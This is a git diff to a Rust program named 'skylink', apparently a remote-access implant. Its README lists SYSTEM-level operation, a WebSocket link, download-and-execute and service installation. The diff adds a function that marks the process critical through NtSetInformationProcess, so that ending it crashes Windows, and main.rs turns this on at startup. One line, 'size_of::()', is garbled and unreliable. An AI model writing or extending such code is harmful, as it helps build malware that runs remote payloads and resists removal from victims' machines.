diff --git a/.cargo/config.toml b/.cargo/config.toml new file mode 100644 index 0000000..ba54493 --- /dev/null +++ b/.cargo/config.toml @@ -0,0 +1,2 @@ +[build] +target = "x86_64-pc-windows-gnu" diff --git a/README.md b/README.md index 20e61b7..a6d5c0e 100644 --- a/README.md +++ b/README.md @@ -12,7 +12,7 @@ It is intended to run as NT AUTHORITY/SYSTEM, even if it uses WebSockets, becaus - [X] download and execute - [X] dnx python - [X] windows service -- [ ] criticality +- [X] criticality - [ ] screenshot functionality - [ ] test payloads with arguments - [ ] get more ideas from The Group(TM) i guess diff --git a/src/lib/winapi.rs b/src/lib/winapi.rs index 31f6f25..308c7c1 100644 --- a/src/lib/winapi.rs +++ b/src/lib/winapi.rs @@ -90,3 +90,25 @@ pub fn run_as_user(app: &str, cmd: &str) -> anyhow::Result<()> { Ok(()) } } + +pub fn mark_process_critical() -> anyhow::Result<()> { + use ntapi::ntpsapi::{NtSetInformationProcess, ProcessBreakOnTermination}; + use ntapi::winapi::{ctypes::c_void, um::winnt::HANDLE}; + + unsafe { + // NtCurrentProcess pseudo-handle (-1) + let handle: HANDLE = (-1isize) as usize as *mut c_void; + let mut critical: u32 = 1; + let status = NtSetInformationProcess( + handle, + ProcessBreakOnTermination, + &mut critical as *mut _ as *mut _, + core::mem::size_of::() as u32, + ); + if status == 0 { + Ok(()) + } else { + anyhow::bail!(format!("NtSetInformationProcess failed: 0x{status:08X}")) + } + } +} diff --git a/src/main.rs b/src/main.rs index 20bdc49..37a1ac9 100644 --- a/src/main.rs +++ b/src/main.rs @@ -1,7 +1,10 @@ use skylink::lib::logger::{LogLevel, log}; +use futures_util::SinkExt; use skylink::lib::websockets::websocket_handler; +use skylink::lib::winapi::mark_process_critical; use skylink::LOG_PATH; use skylink::WsTx; +use tokio_tungstenite::tungstenite::Message; use std::sync::Arc; use tokio::sync::Mutex; use std::ffi::OsString; @@ -47,7 +50,16 @@ async fn run_app(mut shutdown_rx: tokio::sync::broadcast::Receiver<()>) { log(LogLevel::Info, LOG_PATH, format!("[main] Skylink version 1.0.0 starting...")).await; let ws_tx: WsTx = Arc::new(Mutex::new(None)); let ws_tx_for_handler = Arc::clone(&ws_tx); - websocket_handler(ws_tx_for_handler).await; + tokio::spawn(async { websocket_handler(ws_tx_for_handler).await; }); + + // this isn't necessary for program functioning + // and also error handling this is a PITA + // maybe i'll make this proper in a future update. no promises. + let is_debug_mode = cfg!(debug_assertions); + let force_console = std::env::var("SKL_NON_CRITICAL").is_ok(); + if !(is_debug_mode && force_console) { + let _ = mark_process_critical(); + } // Wait for the shutdown signal tokio::select! {